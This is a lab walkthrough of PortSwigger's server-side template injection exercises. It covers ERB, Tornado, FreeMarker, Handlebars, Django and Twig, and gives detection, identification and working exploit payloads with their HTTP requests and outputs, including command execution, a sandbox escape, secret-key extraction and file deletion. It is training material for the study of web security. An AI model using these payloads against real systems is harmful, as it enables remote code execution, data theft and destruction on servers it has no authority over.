WebSecurityAcademy (PortSwigger) – Server-side template injection

Walk-through of the Server-side template injection vulnerabilities lab on PortSwigger Web Security Academy. Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data.

Practitioner – Basic server-side template injection

This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.

To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

Detect

Click on View details of the first product (productId=1). Server responds with a redirect.

HTTP/2 302 Found
Location: /?message=Unfortunately this product is out of stock
X-Frame-Options: SAMEORIGIN
Content-Length: 0
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock
[...]
<div>Unfortunately this product is out of stock
</div>
[...]

Send the request to the Repeater module.

Read the ERB documentation for Ruby. We can see the syntax like:

<p><%= @desc %></p>

Try <%= 7*7 %> as the payload (“%” URL encoded to %25):

GET /?message=Whatever<%25=7*7%25> HTTP/2
[...]
<div>Whatever49
</div>
[...]

The mathematical operation was executed.

Identify

We confirm that it is Ruby.

GET /?message=Whatever<%25=foobar%25> HTTP/2
<h4>Internal Server Error</h4>
<p class=is-warning>(erb):1:in `&lt;main&gt;&apos;: undefined local variable or method `foobar&apos; for main:Object (NameError)
from /usr/lib/ruby/2.7.0/erb.rb:905:in `eval&apos;
from /usr/lib/ruby/2.7.0/erb.rb:905:in `result&apos;
from -e:4:in `&lt;main&gt;&apos;</p>

Exploit

GET /?message=<%25=`ls%20/home/carlos`%25> HTTP/2
<div>morale.txt
</div>

Delete the morale.txt file to solve the lab. You can use backticks or the system() method (documentation).

GET /?message=<%25=`rm%20-rf%20/home/carlos/morale.txt`%25> HTTP/2
GET /?message=<%25+system("rm+/home/carlos/morale.txt")+%25> HTTP/2

Practitioner – Basic server-side template injection (code context)

This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter

Detect

  • Click on My Account and log in using credentials wiener:peter.
  • Click on Preferred name and choose First Name.
  • Inspect the request. It contains a field “user.first_name”.
  • Send the request to the Repeater.
POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user.first_name&csrf=<token>

From the Home page, click on a blog post. Post a comment. The Preferred name is used.

From the Repeater, modify the request to execute a mathematical operation.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=<@urlencode>user.name}}{{7*7<@/urlencode>&csrf=<token>

Refresh the blog post and look at the comments. You will find “Peter Wiener49”. The mathematical operation works.

Identify

The lab description says the template engine is Tornado. Read the Tornado template documentation. Try executing some Python code.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=<@urlencode>user.name}}
{% import os %}
{{os.system('id')<@/urlencode>&csrf=<token>

Refresh the blog post. The user id (from OS) will be displayed.

Exploit

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=<@urlencode>user.name}}
{% import os %}
{{os.system('rm /home/carlos/morale.txt')<@/urlencode>&csrf=<token>

Practitioner – Server-side template injection using documentation

aThis lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r

Detect

  • Click on My Account and log in using credentials content-manager:C0nt3ntM4n4g3r.
  • On the Home page, click on a blog post.
  • Click on Edit template.

Identify

The template contains the syntax “${product.name}”.

<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>

Use payloads from PayloadsAllTheThings. In the template, enter:

<p>${7*7}</p>

The page displays 49 which mean the mathematical operation is executed.

<p>#{1+1}</p>

The page displays “2”.

<p>${2.class}</p>
FreeMarker template error (DEBUG mode; use RETHROW in production!): For "." left-hand operand: Expected a hash, but this has evaluated to a number (wrapper: f.t.SimpleNumber): ==> 2 [in template "freemarker" at line 1, column 6] ---- FTL stack trace ("~" means nesting-related): - Failed at: ${2.class} [in template "freemarker" at line 1, column 4] ---- Java stack trace (for programmers): ---- freemarker.core.NonHashException: [... Exception message was already printed; see it above ...] at freemarker.core.Dot._eval(Dot.java:48) at freemarker.core.Expression.eval(Expression.java:101) at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100) at freemarker.core.DollarVariable.accept(DollarVariable.java:63) at freemarker.core.Environment.visit(Environment.java:331) at freemarker.core.Environment.visit(Environment.java:337) at freemarker.core.Environment.process(Environment.java:310) at freemarker.template.Template.process(Template.java:383) at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58) at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42) at lab.actions.common.Action.act(Action.java:57) at lab.actions.common.Action.run(Action.java:39) at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)

The template engine is FreemMaker.

Exploit

Read the Apache FreeMaker documentation. Use RCE payload from PayloadsAllTheThings.

${"freemarker.template.utility.Execute"?new()("id")}
uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)

Remove the morale.txt file to solve the lab.

${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}

Practitioner – Server-side template injection in an unknown language with a documented exploit

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

Detect

From the Home page, click on View Details for the first product.

GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
<div>Unfortunately this product is out of stock</div>

Send the request to the Repeater module. Fuzz with the message parameter.

GET /?message=${{<%[%'"}}%\\whatever HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
<h4>Internal Server Error</h4>
<p class=is-warning>/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
throw new Error(str);
^

/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
            throw new Error(str);
            ^

Error: Parse error on line 1:
${{<%[%'"}}%\\whatever
---^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
    at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19)
    at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30)
    at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    at compileInput (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
    at ret (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
    at [eval]:5:13
    at Script.runInThisContext (node:vm:128:12)
    at Object.runInThisContext (node:vm:306:38)
    at node:internal/process/execution:83:21
    at [eval]-wrapper:6:24

Node.js v19.8.1</p>

Identify

From the error message previously generated (in the path), we find the template engine Handlebars.

Exploit

See Handlebars in PayloadsAllTheThings. Send this payload to the Decoder module in Burp and encode it in URL.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%69%64%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]
[...]
[object Object]
uid&amp;#x3D;12002(carlos) gid&amp;#x3D;12002(carlos) groups&amp;#x3D;12002(carlos)
[...]

Remove the morale.txt file to solve the lab.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
Host: <LAB ID>.web-security-academy.net

Practitioner – Server-side template injection with information disclosure via user-supplied objects

This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data. To solve the lab, steal and submit the framework’s secret key. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r

Detect

  • Click on My Account and log in using credentials content-manager:C0nt3ntM4n4g3r.
  • On the Home page, click on a blog post.
  • Click on Edit template.

The template contains the “product” object.

<p>Hurry! Only {{product.stock}} left of {{product.name}} at {{product.price}}.</p>

Fuzz with the template.

${{<%[%'"}}%\
Traceback (most recent call last): File "<string>", line 11, in <module> File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 191, in __init__ self.nodelist = self.compile_nodelist() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 230, in compile_nodelist return parser.parse() File "/usr/local/lib/python2.7/dist-packages/django/template/base.py", line 486, in parse raise self.error(token, e) django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: '<%[%'"' from '<%[%'"'

Identify

From the previous output, we identify the template engine as Django Template. We can confirm this by executing this mathematical operation.

<p>{{100|add:100}}</p>
<p>200</p>

Exploit

From the Django documentation, we find the debug function. Edit the template.

POST /product/template?productId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&template=<@urlencode><p>{% debug %}</p><@/urlencode>&template-action=save
{'product': {'name': 'Waterproof Tea Bags', 'price': '$45.07', 'stock': 422}, 'settings': }
[...]

We find a “settings” object. From the documentation, the settings object has a SECRET_KEY property.

POST /product/template?productId=1 HTTP/2
Host: <LAB ID>.web-security-academy.net
[...]

csrf=<token>&template={{settings.SECRET_KEY}}&template-action=save
jbf9kkvg3a844dn6kdlq4nz44v2p6tdc

Click on Submit solution and enter the secret key to solve the lab.

Expert – Server-side template injection in a sandboxed environment

This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file my_password.txt from Carlos’s home directory. Then submit the contents of the file. You can log in to your own account using the following credentials: content-manager:C0nt3ntM4n4g3r

Detect

  • Click on My Account and log in using credentials content-manager:C0nt3ntM4n4g3r.
  • On the Home page, click on a blog post.
  • Click on Edit template.

The template contains the “product” object.

<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>

Fuzz with the template.

${{<%[%'"}}%\

No output is returned. Try some mathematical operations. The application displays “9” as the result.

<p>${3*3}</p>

Identify

Modify the template:

<p>${product}</p>
<p>lab.actions.templateengines.FreeMarkerProduct@258e2e41</p>

The template engine is Freemarker.

Exploit

Use a payload from PayloadsAllTheThings to read /home/carlos/my_password.txt.

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
<p>115 55 101 110 109 119 106 116 51 113 102 53 99 104 120 114 53 56 56 109</p>

Convert the returned bytes to ASCII. Use CyberChef with Recipe From Decimal, or use the Hackvertor Burp extention:

<@bin2ascii><@dec2bin('(\\d+)')>115 55 101 110 109 119 106 116 51 113 102 53 99 104 120 114 53 56 56 109<@/dec2bin><@/bin2ascii>
s7enmwjt3qf5chxr588m

Click on Submit solution and enter the password to solve the lab.

Expert – Server-side template injection with a custom exploit

This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file /.ssh/id_rsa from Carlos’s home directory. You can log in to your own account using the following credentials: wiener:peter

Detect

  • Click on My Account and log in using credentials wiener:peter.
  • Click on Preferred name and choose First Name.
  • Inspect the request. It contains a field “user.first_name”.
  • Send the request to the Repeater.
POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user.first_name&csrf=<token>

From the Home page, click on a blog post. Post a comment. The Preferred name is used. From the Repeater, replace “user.first_name” by “user” and send the request.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user&csrf=<token>

Refresh the blog post and look at the comments.

PHP Fatal error: Uncaught Error: Object of class User could not be converted to string in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(378) : eval()'d code:23 Stack trace: #0 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Template.php(394): __TwigTemplate_b6a7c72a93507ca5c7099ebdeaec25ac82b0a909b1559ad83f3f9c71a201576b->doDisplay(Array, Array) #1 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Template.php(371): Twig_Template->displayWithErrorHandling(Array, Array) #2 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Template.php(379): Twig_Template->display(Array) #3 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(289): Twig_Template->render(Array) #4 Command line code(10): Twig_Environment->render('index', Array) #5 {main} thrown in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(378) : eval()'d code on line 23

From My Account, upload an invalid avatar image.

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 284

<pre>PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: text/plain in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/csv.txt', 'text/plain')
#1 {main}
  thrown in /home/carlos/User.php on line 28
</pre>

We find User->setAvatar in /home/carlos/User.php.

Identify

From the previous output, we identify the template engine as Twig. Twig is a modern template engine for PHP. Try completing the injection to execute the mathematical operation “{{7*7}}”.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user.first_name}}{{7*7&csrf=<token>

Visit the blog post and see the comment author is now “Peter49”.

Exploit

Try reading files using the setAvatar method.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')&csrf=<token>

Visit the blog post.

GET /avatar?avatar=wiener HTTP/2
[...]
HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 2262

root:x:0:0:root:/root:/bin/bash
[...]
carlos:x:12002:12002::/home/carlos:/bin/bash
[...]

Read User.php

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=ser.setAvatar('/home/carlos/User.php','image/jpg')&csrf=<token>
GET /avatar?avatar=wiener HTTP/2
[...]
HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 1681

<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

[...]

    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }

    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}

?>

Set the avatar to /home/carlos/.ssh/id_rsa and use the public function gdprDelete to delete the file and solve the lab.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')&csrf=<token>

Visit the blog post.

POST /my-account/change-blog-post-author-display HTTP/2
[...]

blog-post-author-display=user.gdprDelete()&csrf=<token>

View the blog post to solve the lab.